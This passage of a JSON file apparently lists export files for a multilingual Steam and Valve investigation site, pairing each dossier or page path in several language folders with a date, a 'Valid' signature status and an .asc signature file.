                "steam_dossier_section_14_1_agent_dora.jsonexports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_14_agent_tom.jsonexports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_15_agent_helen.jsonexports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_16_agent_john.jsonexports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_17_agent_mary.jsonexports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_18_agent_viola.jsonexports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_19_agent_beatrix.jsonexports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_1_agent_austin.jsonexports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_2_agent_kal.jsonexports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_3_1_agent_june.jsonexports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_3_2_agent_ignatus.jsonexports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_3_agent_lynn.jsonexports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_4_agent_gordon.jsonexports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_5_1_agent_lucia.jsonexports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_5_agent_sofia.jsonexports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_6_agent_carla.jsonexports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_7_agent_amy.jsonexports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_8_1_agent_jasmine.jsonexports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_8_agent_aaron.jsonexports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_9_agent_lorraine.jsonexports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "manifest.jsonexports/agent-protocol/manifest.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "validation.jsonexports/agent-protocol/validation.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "dossier-text.jsonexports/dossier-text.json",
                "2026-10-04",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/ar/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/ar/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/ar/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/ar/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/ar/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/ar/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/ar/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/ar/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/ar/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/ar/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ar/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ar/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/ar/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/ar/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/ar/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/ar/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/ar/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/ar/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/ar/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/ar/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/de/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy_de.content.jsonexports/pages/de/card_economy_de.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/de/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/de/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit_de.content.jsonexports/pages/de/enforcement_audit_de.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/de/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/de/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/de/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/de/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/de/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/de/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/de/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/de/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/de/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/de/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/de/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/de/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/de/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/de/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/de/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/de/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/de/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/en/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/en/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/en/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/en/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/en/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/en/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/en/license_disclaimer.content.json",
                "2026-10-04",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/en/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/en/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/en/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/en/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/en/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/en/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/en/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/en/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/en/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "source_1_response.content.jsonexports/pages/en/source_1_response.content.jsonExcluded annex · unverified · do not cite as evidence",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/en/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/en/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/en/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/en/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/es/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/es/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/es/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/es/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/es/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/es/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/es/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/es/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/es/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/es/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/es/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/es/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/es/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/es/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/es/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/es/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/es/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/es/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/es/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/es/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/fr/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/fr/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/fr/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/fr/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/fr/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/fr/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/fr/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/fr/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/fr/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/fr/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/fr/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/fr/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/fr/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/fr/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/fr/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/fr/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/fr/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/fr/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/fr/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/fr/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/hi/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/hi/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/hi/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/hi/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/hi/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/hi/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/hi/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/hi/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/hi/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/hi/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/hi/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/hi/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/hi/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/hi/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/hi/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/hi/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/hi/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/hi/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/hi/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/hi/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/id/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/id/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/id/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/id/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/id/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/id/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/id/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/id/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/id/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/id/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/id/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/id/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/id/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/id/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/id/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/id/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/id/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/id/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/id/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/id/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/it/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/it/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/it/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/it/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/it/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/it/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/it/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/it/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/it/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/it/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/it/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/it/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/it/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/it/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/it/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/it/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/it/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/it/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/it/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/it/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/ja/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/ja/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/ja/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/ja/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/ja/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/ja/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/ja/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/ja/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/ja/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/ja/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ja/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ja/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/ja/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/ja/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/ja/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/ja/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/ja/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/ja/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/ja/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/ja/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/ko/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/ko/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/ko/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/ko/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
